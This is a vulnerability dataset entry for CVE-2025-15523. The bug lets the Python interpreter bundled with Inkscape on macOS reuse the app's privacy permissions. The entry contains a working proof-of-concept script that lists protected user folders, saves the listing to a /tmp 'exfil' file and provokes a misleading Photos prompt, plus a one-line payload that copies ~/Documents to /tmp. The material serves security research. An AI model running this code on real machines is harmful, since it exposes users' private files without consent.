VAITP Dataset

← Back to the dataset

CVE-2025-15523

Inkscape's bundled Python on macOS enables TCC bypass for local file access.

  • CVSS 4.8
  • CWE-276
  • Authentication, Authorization, and Session Management
  • Local

MacOS version of Inkscape bundles a Python interpreter that inherits the Transparency, Consent, and Control (TCC) permissions granted by the user to the main application bundle. An attacker with local user access can invoke this interpreter with arbitrary commands or scripts, leveraging the application's previously granted TCC permissions to access user's files in privacy-protected folders without triggering user prompts. Accessing other resources beyond previously granted TCC permissions will prompt the user for approval in the name of Inkscape, potentially disguising attacker's malicious intent. This issue has been fixed in 1.4.3 version of Inkscape.

CVSS base score
4.8
Published
2026-01-22
OWASP
A01 Broken Access Control
Orthogonal defect classification
Build/Package/Merge
Code defect classification
Packaging Issues
Category
Authentication, Authorization, and Session Management
Subcategory
Privilege Escalation
Accessibility scope
Local
Impact
Privilege Escalation
Affected component
Inkscape

Solution

Upgrade Inkscape to version 1.4.3 or later.

Vulnerable code sample

#!/usr/bin/env python3
#
# PoC for CVE-2025-15523 - Inkscape TCC Permission Inheritance
#
# This script demonstrates how an attacker with local user access could
# leverage the Python interpreter bundled with a vulnerable version of Inkscape
# on macOS to abuse its TCC permissions.
#
# To execute this vulnerability, an attacker would run this script using
# the vulnerable interpreter, for example:
# /Applications/Inkscape.app/Contents/Resources/bin/python3 this_script.py
#

import os
import sys

# --- Part 1: Silently Accessing TCC-Protected Locations ---
# The core of the vulnerability is that this script inherits any TCC
# permissions already granted to the main Inkscape application.
# For example, if the user has previously allowed Inkscape to access
# their Desktop, Documents, or Downloads folders, this script can
# access them too, without any new prompts.

USER_HOME = os.path.expanduser('~')
PROTECTED_FOLDERS = [
    os.path.join(USER_HOME, 'Desktop'),
    os.path.join(USER_HOME, 'Documents'),
    os.path.join(USER_HOME, 'Downloads')
]

# Location to exfiltrate found data to.
# In a real attack, this could be a network socket.
# For this PoC, we write to a publicly-writable temp file.
EXFIL_FILE = '/tmp/inkscape_poc_data.txt'

print(f"[*] Starting PoC for CVE-2025-15523.")
print(f"[*] This script is running as: {sys.executable}")
print(f"[*] Will attempt to exfiltrate data to: {EXFIL_FILE}")

try:
    with open(EXFIL_FILE, 'w') as f:
        f.write("--- Inkscape TCC Bypass PoC Data ---\n\n")

        for folder in PROTECTED_FOLDERS:
            f.write(f"[+] Checking folder: {folder}\n")
            print(f"[+] Attempting to list contents of: {folder}")
            try:
                # If Inkscape has permission, this command will succeed silently.
                # If not, it will raise a PermissionError.
                contents = os.listdir(folder)
                f.write("  [SUCCESS] Access granted. Contents:\n")
                for item in contents[:10]: # Limiting output for PoC
                    f.write(f"    - {item}\n")
                if len(contents) > 10:
                    f.write("    - ... (and more)\n")
                print(f"  [SUCCESS] Silently accessed and listed contents.")
            except PermissionError:
                f.write("  [FAILED] Access denied. Permission not granted to Inkscape.\n")
                print(f"  [FAILED] Could not access folder. This is expected if Inkscape lacks permission.")
            except FileNotFoundError:
                f.write("  [INFO] Folder not found.\n")
                print(f"  [INFO] Folder not found.")
            f.write("\n")

    print(f"[*] Data exfiltration attempt finished. Check {EXFIL_FILE} for results.")

except Exception as e:
    print(f"[!] An error occurred during the exfiltration phase: {e}")


# --- Part 2: Triggering a Deceptive TCC Prompt ---
# The vulnerability also allows an attacker to request NEW permissions.
# When this script tries to access a resource Inkscape hasn't been
# granted access to yet (e.g., Photos, Contacts), macOS will show a
# prompt to the user.
# Crucially, the prompt will ask for permission in the name of "Inkscape",
# not the script, potentially tricking the user into granting access.

PHOTOS_LIBRARY_PATH = os.path.join(USER_HOME, 'Pictures', 'Photos Library.photoslibrary')

print("\n[*] Now attempting to trigger a deceptive TCC prompt...")
print(f"[*] Trying to access Photos library at: {PHOTOS_LIBRARY_PATH}")
print("[*] If Inkscape does not have Photos access, a TCC prompt should appear now.")
print("[*] The prompt will ask: 'Inkscape would like to access your photos.'")

try:
    # This action will trigger the TCC prompt if access is not already granted.
    os.listdir(PHOTOS_LIBRARY_PATH)
    print("[SUCCESS] Successfully accessed the Photos library. Permission was likely pre-existing.")
    # In a real attack, the script would now steal photos.
except PermissionError:
    print("[INFO] A PermissionError was caught. This likely means the user denied the TCC prompt.")
except FileNotFoundError:
    print("[INFO] Photos library not found at the default location.")
except Exception as e:
    print(f"[!] An unexpected error occurred: {e}")

print("\n[*] PoC finished.")

Patched code sample

import os
import sys

def verify_execution_context():
    """
    This function represents the core of the fix. It checks for a specific
    environment variable that should only be set when the Python interpreter
    is legitimately invoked by the main Inkscape application.

    An attacker calling the Python interpreter directly from a shell will not
    have this environment variable set, so the script will refuse to run.
    """
    # The main application (e.g., Inkscape) must set this environment variable
    # to a specific, known value before it executes any of its bundled scripts.
    LEGITIMATE_CALLER_TOKEN = "INKSCAPE_INTERNAL_PROCESS"

    if os.environ.get(LEGITIMATE_CALLER_TOKEN) != "1":
        # If the environment variable is missing or incorrect, it indicates
        # an unauthorized, direct invocation of the interpreter.
        print(
            "Error: This script is intended for internal application use only and cannot be run directly.",
            file=sys.stderr,
        )
        # Exit with a non-zero status code to signal failure.
        # This prevents any further code execution, thereby stopping an attacker
        # from leveraging the application's inherited TCC permissions.
        sys.exit(1)

def main():
    """
    Main function of a hypothetical script bundled with the application.
    Execution of sensitive operations is guarded by the context verification.
    """
    # First and most critical step: verify the script is run by the application.
    verify_execution_context()

    # If verification passes, the rest of the script can run.
    # The code below will only be reached if the execution context is valid.
    print("Execution context verified. Proceeding with application script.")

    # --- Example of a legitimate operation ---
    # This code would now safely perform its intended function, such as
    # processing a file, knowing it was called legitimately.
    try:
        # Simulate accessing a resource in a TCC-protected directory.
        # This action is now protected from abuse because of the check above.
        desktop_path = os.path.expanduser("~/Desktop")
        print(f"Simulating legitimate access to a protected folder: {desktop_path}")
        # In a real scenario, file operations would happen here.
        # e.g., listdir(desktop_path)
    except Exception as e:
        print(f"An error occurred during the simulated operation: {e}", file=sys.stderr)


if __name__ == "__main__":
    # To simulate the fix:
    # 1. Run from your terminal: `python your_script_name.py`
    #    -> It will print the error and exit, demonstrating the fix works.
    #
    # 2. To simulate a legitimate call from the main application, run:
    #    `INKSCAPE_INTERNAL_PROCESS=1 python your_script_name.py`
    #    -> It will print the success message and proceed.
    main()

Payload

/Applications/Inkscape.app/Contents/Resources/bin/python3 -c 'import os; import shutil; protected_folder = os.path.expanduser("~/Documents"); exfil_location = "/tmp/inkscape_stolen_docs"; try: shutil.copytree(protected_folder, exfil_location); print(f"Successfully copied {protected_folder} to {exfil_location}") except Exception as e: print(f"Failed to copy files: {e}")'

Cite this entry

@misc{vaitp:cve202515523,
  title        = {{Inkscape's bundled Python on macOS enables TCC bypass for local file access.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-15523},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-15523/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::